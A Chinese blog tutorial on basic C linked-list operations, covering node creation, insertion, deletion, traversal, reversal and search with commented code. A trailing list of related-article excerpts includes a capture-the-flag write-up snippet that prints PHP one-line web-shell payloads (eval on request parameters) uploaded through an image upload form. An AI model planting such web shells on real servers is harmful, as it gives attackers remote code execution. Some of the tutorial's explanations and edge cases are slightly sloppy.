c语言链表的基本操作

在C语言中,链表是一种常见的数据结构,它由一系列节点组成,每个节点包含一个数据元素和一个指向下一个节点的指针。链表的基本操作包括创建、插入、删除和遍历等。

下面是一个简单的链表节点结构体定义:

  1. struct Node {
  2.     int data;
  3.     struct Node* next;
  4. };

其中,data表示节点中的数据元素,next是指向下一个节点的指针。

  1. 创建链表:

链表的创建通常是通过定义一个指向链表头节点的指针,然后逐个添加节点来实现的。例如:

  1. struct Node* head = NULL; // 定义指向链表头节点的指针,初始化为空
  2. struct Node* new_node = (struct Node*)malloc(sizeof(struct Node)); // 创建新节点
  3. new_node->data = 1; // 设置节点中的数据元素
  4. new_node->next = NULL; // 设置节点的指针为空
  5. head = new_node; // 将头指针指向新节点
  1. 插入节点:

链表的插入操作通常是在链表的末尾或指定位置插入新节点。在链表末尾插入节点的操作比较简单,只需要将新节点的指针指向原链表的最后一个节点的指针即可。例如:

  1. struct Node* new_node = (struct Node*)malloc(sizeof(struct Node)); // 创建新节点
  2. new_node->data = 2; // 设置节点中的数据元素
  3. new_node->next = NULL; // 设置节点的指针为空
  4. if (head == NULL) { // 如果链表为空,将新节点设置为头节点
  5.     head = new_node;
  6. } else { // 否则,将新节点插入到链表末尾
  7.     struct Node* last = head;
  8.     while (last->next != NULL) { // 遍历找到链表的最后一个节点
  9.         last = last->next;
  10.     }
  11.     last->next = new_node; // 将最后一个节点的指针指向新节点
  12. }

要在指定位置插入节点,需要先找到插入位置的前一个节点,然后将前一个节点的指针指向新节点,新节点的指针指向下一个节点。例如:

  1. struct Node* new_node = (struct Node*)malloc(sizeof(struct Node)); // 创建新节点
  2. new_node->data = 3; // 设置节点中的数据元素
  3. new_node->next = NULL; // 设置节点的指针为空
  4. struct Node* prev = head; // 定义指向插入位置前一个节点的指针
  5. struct Node* curr = head->next; // 定义指向插入位置的指针,初始化为头节点的下一个节点
  6. while (curr != NULL && curr->data < 20) { // 遍历找到插入位置的前一个节点和插入位置的节点
  7.     prev = curr;
  8.     curr = curr->next;
  9. }
  10. prev->next = new_node; // 将前一个节点的指针指向新节点
  11. new_node->next = curr; // 将新节点的指针指向插入位置的节点(如果存在)
  1. 删除节点:

删除节点需要找到需要删除的节点,然后将前一个节点的指针指向下一个节点。例如:

  1. struct Node* delete_node = head; // 定义指向要删除节点的指针,初始化为头节点
  2. struct Node* prev = NULL; // 定义指向要删除节点前一个节点的指针
  3. struct Node* curr = head; // 定义指向要删除节点后一个节点的指针
  4. while (curr != NULL && curr != delete_node) { // 遍历找到要删除的节点和它前后的节点
  5.     prev = curr;
  6.     curr = curr->next;
  7. }
  8. if (prev == NULL) { // 如果要删除的是头节点
  9.     head = delete_node->next; // 将头指针指向要删除节点的下一个节点
  10. } else { // 如果要删除的是中间节点或尾节点
  11.     prev->next = delete_node->next; // 将前一个节点的指针指向要删除节点的下一个节点
  12. }
  13. free(delete_node); // 释放要删除的节点的内存空间
  1. 遍历链表:

遍历链表通常是通过定义一个指针指向链表头节点,然后循环遍历每个节点的数据元素。例如:

  1. struct Node* curr = head; // 定义指向当前节点的指针,初始化为头节点
  2. while (curr != NULL) { // 循环遍历每个节点
  3.     printf("%d ", curr->data); // 输出当前节点的数据元素
  4.     curr = curr->next; // 将当前节点的指针指向下一个节点
  5. }

以上是链表的基本操作,链表的其他操作还包括反转链表、查找元素等。

  1. 反转链表:

反转链表需要定义一个指针指向当前节点,另一个指针指向下一个节点,然后将两个指针交换位置,直到两个指针相遇为止。例如:

  1. struct Node* reverse_list(struct Node* head) {
  2.     struct Node* prev = NULL; // 定义指向当前节点前一个节点的指针
  3.     struct Node* curr = head; // 定义指向当前节点的指针,初始化为头节点
  4.     struct Node* next = NULL; // 定义指向当前节点后一个节点的指针
  5.     while (curr != NULL) { // 遍历链表
  6.         next = curr->next; // 将当前节点的指针指向下一个节点
  7.         curr->next = prev; // 将当前节点的指针指向前一个节点
  8.         prev = curr; // 将当前节点的前一个节点指针指向当前节点
  9.         curr = next; // 将当前节点的指针指向下一个节点
  10.     }
  11.     return prev; // 返回反转后的链表头节点指针
  12. }
  1. 查找元素:

查找元素需要遍历链表,直到找到目标元素或遍历到链表末尾为止。例如:

  1. int search(struct Node* head, int target) {
  2.     struct Node* curr = head; // 定义指向当前节点的指针,初始化为头节点
  3.     while (curr != NULL) { // 遍历链表
  4.         if (curr->data == target) { // 如果当前节点的数据元素等于目标元素
  5.             return 1; // 返回1表示找到目标元素
  6.         }
  7.         curr = curr->next; // 将当前节点的指针指向下一个节点
  8.     }
  9.     return 0; // 返回0表示未找到目标元素
  10. }

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/219018.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Leaflet.Graticule源码分析以及经纬度汉化展示

目录 前言 一、源码分析 1、类图设计 2、时序调用 3、调用说明 二、经纬度汉化 1、改造前 2、汉化 3、改造效果 总结 前言 在之前的博客基于Leaflet的Webgis经纬网格生成实践中&#xff0c;已经深入介绍了Leaflet.Graticule的实际使用方法和进行了简单的源码分析。认…

C语言之函数式宏

目录 函数和数据类型 函数式宏 函数和函数式宏 函数式宏和对象式宏 不带参数的函数式宏 函数式宏和逗号运算符 函数式宏和函数类似并且比函数更加灵活&#xff0c;下面我们就来学习函数式宏的相关内容。 函数和数据类型 我们来编写一个程序&#xff0c;它能计算出所读取…

『PyTorch』张量和函数之gather()函数

文章目录 PyTorch中的选择函数gather()函数 参考文献 PyTorch中的选择函数 gather()函数 import torch a torch.arange(1, 16).reshape(5, 3) """ result: a [[1, 2, 3],[4, 5, 6],[7, 8, 9],[10, 11, 12],[13, 14, 15]] """# 定义两个index…

注册与回调

C 再谈谈注册(本质是建立映射)与回调 在之前的博文中&#xff0c; 我们探讨过映射的重要作用&#xff0c; 请直接看&#xff1a;http://blog.csdn.net/stpeace/article/details/39452203, 在那篇文章中&#xff0c; 我们是用STL中的map来做的&#xff0c; map建立的是key-value…

ChatGLM-6B模型结构组件源码阅读

一、前言 本文将介绍ChatGLM-6B的模型结构组件源码。 代练链接&#xff1a;https://huggingface.co/THUDM/chatglm-6b/blob/main/modeling_chatglm.py 二、激活函数 torch.jit.script def gelu_impl(x):"""OpenAIs gelu implementation."""r…

云演 Can you getshell?

1、扫目录&#xff0c;看看到upload.php,找到上传点 2、只让上传jpg gif png&#xff0c;上传图片写码 <?php eval($_POST[c]);?>这个码不行 换马 <script language"php">eval($_REQUEST[c])</script>3、蚁剑连接、得到flag

【MyBatis-Plus】MyBatis进阶使用

目录 一、MyBatis-Plus简介 1.1 介绍 1.2 优点 1.3 结构 二、MyBatis-Plus基本使用 2.1 配置 2.2 代码生成 2.3 CRUD接口测试 三、MyBatis-Plus策略详解 3.1 主键生成策略 3.2 雪花ID生成器 3.3 字段自动填充策略 3.4 逻辑删除 四、MyBatis-Plus插件使用 4.1 乐…

TrustZone之完成器:外围设备和内存

到目前为止,在本指南中,我们集中讨论了处理器,但TrustZone远不止是一组处理器功能。要充分利用TrustZone功能,我们还需要系统其余部分的支持。以下是一个启用了TrustZone的系统示例: 本节探讨了该系统中的关键组件以及它们在TrustZone中的作用。 完成器:外围设备…

服务器数据恢复—raid5热备盘未激活崩溃导致上层oracle数据丢失的数据恢复案例

服务器数据恢复环境&#xff1a; 某品牌X系列服务器&#xff0c;4块SAS硬盘组建了一组RAID5阵列&#xff0c;还有1块磁盘作为热备盘使用。服务器上层安装的linux操作系统&#xff0c;操作系统上部署了一个基于oracle数据库的OA&#xff08;oracle已经不再为该OA系统提供后续服务…

【c语言】【visual studio】动态内存管理,malloc,calloc,realloc详解。

引言&#xff1a;随着大一期末的到来&#xff0c;想必许多学生都学到内存的动态管理这一部分了&#xff0c;看望这篇博客后&#xff0c;希望能解除你心中对这一章节的疑惑。 (・∀・(・∀・(・∀・*) 1.malloc详解 malloc的头文件是#include <sdtlib.h>,malloc - C Ref…

Spring Cloud + Vue前后端分离-第5章 单表管理功能前后端开发

Spring Cloud Vue前后端分离-第5章 单表管理功能前后端开发 完成单表的增删改查 控台单表增删改查的前后端开发&#xff0c;重点学习前后端数据交互&#xff0c;vue ajax库axios的使用等 通用组件开发:分页、确认框、提示框、等待框等 常用的公共组件:确认框、提示框、等待…

【Linux】多线程编程

目录 1. 线程基础知识 2. 线程创建 3. 线程ID&#xff08;TID&#xff09; 4. 线程终止 5. 线程取消 6. 线程等待 7. 线程分离 8. 线程互斥 8.1 初始化互斥量 8.2 销毁互斥量 8.3 互斥量加锁和解锁 9. 可重入和线程安全 10. 线程同步之条件变量 10.1 初始化条件变…

一文了解Tomcat

文章目录 1、Tomcat介绍2、Tomcat使用配置2.1、Tomcat下载启动2.2、Tomcat启动乱码2.3、Tomcat端口号修改 3、Tomcat项目部署4、IDEA中使用Tomcat方式 1、Tomcat介绍 什么是Tomcat ​ Tomcat是Apache软件基金会一个核心项目&#xff0c;是一个开源免费的轻量级web服务器&#x…

【算法Hot100系列】最长回文子串

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…

【机器学习】应用KNN实现鸢尾花种类预测

目录 前言 一、K最近邻&#xff08;KNN&#xff09;介绍 二、鸢尾花数据集介绍 三、鸢尾花数据集可视化 四、鸢尾花数据分析 总结 &#x1f308;嗨&#xff01;我是Filotimo__&#x1f308;。很高兴与大家相识&#xff0c;希望我的博客能对你有所帮助。 &#x1f4a1;本文由Fil…

js基础入门

先来一点js基础&#xff0c;其实js大部分的时候都在处理对象或者数组。 对象四个基本操作&#xff1a;增删改查 掌握元素的增删改查&#xff0c;了解如何拷贝&#xff0c;深拷贝和浅拷贝的区别。详情见代码 <script>//创建对象一共有三种赋值声明的语法let obj{} //赋值…

大数据存储技术(3)—— HBase分布式数据库

目录 一、HBase简介 &#xff08;一&#xff09;概念 &#xff08;二&#xff09;特点 &#xff08;三&#xff09;HBase架构 二、HBase原理 &#xff08;一&#xff09;读流程 &#xff08;二&#xff09;写流程 &#xff08;三&#xff09;数据 flush 过程 &#xf…

Java stream 进阶版

1、Stream 概述 Java 8 引入了 Stream API,它是一种用于简化集合和数组操作的强大工具。Stream API 允许我们将集合或数组视为流,并在流上进行各种操作,如筛选、排序、聚合等。 Stream API 的核心概念是 Stream 流,它代表了一个数据流,其中包含了一系列的元素。这些元素…

【LeetCode刷题-排序】--179.最大数

179.最大数 思路&#xff1a; 方法&#xff1a;自定义排序 class Solution {public String largestNumber(int[] nums) {if(nums null || nums.length 0){return "";}//将每个数字转换成字符串String[] strs new String[nums.length];for(int i 0;i < nums.l…

怎样长时间保持SSH会话连接不断开?

操作场景 使用SSH方式登录CentOS Stream操作系统的云服务器时&#xff0c;过一段时间就会自动断开连接。 该文档适用于CentOS/EulerOS系统。 操作方法 编辑/etc/ssh/sshd_config文件设置心跳&#xff0c;保持连接。 编辑/etc/ssh/sshd_config&#xff0c;添加配置项&#x…